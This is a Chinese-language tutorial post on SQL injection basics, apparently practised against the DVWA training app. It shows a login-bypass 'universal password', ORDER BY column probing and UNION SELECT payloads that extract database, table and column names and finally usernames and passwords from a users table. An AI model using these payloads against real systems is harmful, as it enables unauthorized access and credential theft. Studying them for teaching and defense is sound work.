03. SQL注入漏洞基础

news/2024/11/29 6:49:04/

03. SQL注入漏洞基础

SQL注入漏洞基础(上)

/01 SQL注入的原理

SQL注入原理
SQL注入产生的原因

当Web应用向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎,获取或修改数据库中的数据。

在这里插入图片描述

SQL注入的本质

把用户输入的数据当作代码来执行,违背了“数据与代码分离”的原则

SQL注入的两个关键点
  1. 用户能够控制输入的内容;
  2. Web应用把用户输入的内容带入到数据库中执行

在这里插入图片描述

/02 SQL注入的危害

SQL注入的危害
  • 盗取网站的敏感信息

  • 绕过网站后台认证

    后台登录语句:

    SELECT * FEOM admin WHERE username = 'user' and password = 'pass'
    

    万能密码:’ or ‘1’ = ‘1’ #

  • 借助SQL注入漏洞提权获取系统权限

  • 读取文件信息

/03 SQL注入的分类

SQL注入的分类

根据注入位置分类:GET型、POST型、Head头注入

根据反馈结果分类:有回显(显错注入)、无回显(盲注)

根据数据类型分类**(我们更加关注)**:

​ 数字型:输入的参数为整型,入id、年龄、页码等

​ 字符型:输入的参数为字符串

数字型与字符型最大的区别在于:数字型不需要单引号闭合,而字符串型一般需要单引号闭合

/04 SQL注入的流程

SQL注入的流程
1、寻找注入点

在这里插入图片描述

2、判断闭合方式

?id=1asdfa

有报错:数字型,无闭合或 )闭合

无报错:字符型,再判断闭合方式,’ “ ‘)“)

在这里插入图片描述

SQL注入漏洞基础(下)

2、判断闭合方式(续)

?id=1asdfa’

查看报错信息,这里的闭合方式为’

在这里插入图片描述

3、验证漏洞

?id=1’ or 1=1 # 正常显示

在这里插入图片描述

4、判断列数及回显位

?id=1’ ) order by 4 #

?id=1’ ) order by 3 #

说明列数为2列

在这里插入图片描述

在这里插入图片描述

?id=-1’ ) union select 1, 2#

说明回显位为1,2

在这里插入图片描述

联合查询下,两个select一定要相同字段数量

sql注入流程:

  1. 查询数据库类型:通过错误显示,已经知道是mysql

  2. 查询当前系统所使用的数据库名称是什么:dvwa

    在这里插入图片描述

    select * from 表名 where id = '1' union select 1, database()#
    
  3. 查询当前数据库的表有什么内容:

    information_schema查询表名

    0' union select 1, table_name from information_schema.tables where table_schema = 'dvwa
    
  4. 查询指定表的字段信息:

    information_schema查询字段信息

    0' union select 1, group_concat(column_name) from information_schema.columns where table_name = 'users
    
  5. 查询想要的信息内容:

    0' union select user, password  from users#
    

http://www.ppmy.cn/news/4003.html

相关文章

网络安全常用的工具有哪些(二)

从业网络信息安全有关工作,当然离不了一些极为重要的网络信息安全专用工具,因为这是提高工作效率、省时省力的关键所在,那样网络信息安全常用工具都有哪些呢? 信息安全包括网络安全、操作系统安全、数据库安全、硬件设备设施安全、物理安全…

Maven 基础

1.1 简介 概念:Maven 的本质是一个项目管理工具,将项目开发和管理过程抽象成一个项目对象模型(POW); Maven是用 Java 语言编写的。他管理的东西统统以面向对象的形式进行设计,最终他把一个项目看成一个对象…

6 GHz频段IMT系统对卫星固定业务干扰分析

【摘 要】6 GHz作为移动宽带发展频谱使用有利于全球5G产业持续健康发展,为满足6 GHz频段国际移动通信(IMT)系统的使用需求,需要开展6 GHz频段下IMT与同频卫星固定(地对空)业务频谱共存研究,以保护该频段的卫星固定(地对空)业务的正常工作。首先分析IMT系统对卫星固定…

RK3568平台开发系列讲解(摄像头篇)使用 Camera 的步骤

🚀返回专栏总目录 文章目录 一、使用 Camera 的步骤二、使用 SurfaceView 预览显示 Camera 数据沉淀、分享、成长,让自己和他人都能有所收获!😄 📢 本篇将介绍如何使用Camera。 一、使用 Camera 的步骤 说下 Camera 的操作步骤,后面给出实例,请结合代码理解分析: 获…

从零开始搭建Vue3.0项目

从零开始搭建Vue3.0项目所使用的软件及工具,环境1.确保本机已安装nodejs和npm2.Vue-cli项目搭建所使用的软件及工具,环境 软件vscode: vscode地址下载, svn集中式管理: 是一个开源的代码版本控制系统,用于…

【力扣】423.从英文中重建数字

423. 从英文中重建数字 | 2022-12-15 我想先统计每个字母出现次数,然后遍历需重建的单词,单词需要什么字母作为原材料,就直接取什么。于是下面代码的复杂性基于这样一个问题: 如果我们打算先重建单词one,建到建不出来…

SpringBoot+Vue实现前后端分离的小而学在线考试系统

文末获取源码 开发语言:Java 使用框架:spring boot 前端技术:JavaScript、Vue.js 、css3 开发工具:IDEA/MyEclipse/Eclipse、Visual Studio Code 数据库:MySQL 5.7/8.0 数据库管理工具:phpstudy/Navicat JD…

MicroPython-On-ESP8266——8x8LED点阵模块(5)自制贪吃蛇游戏

MicroPython-On-ESP8266——8x8LED点阵模块(5)自制贪吃蛇游戏 1. 背景知识 连续折腾了一段时间的8x8点阵屏模块,从基本原理到驱动它显示滚动图案效果,常用的功能都使用到了。系列如下: MicroPython-On-ESP8266——8…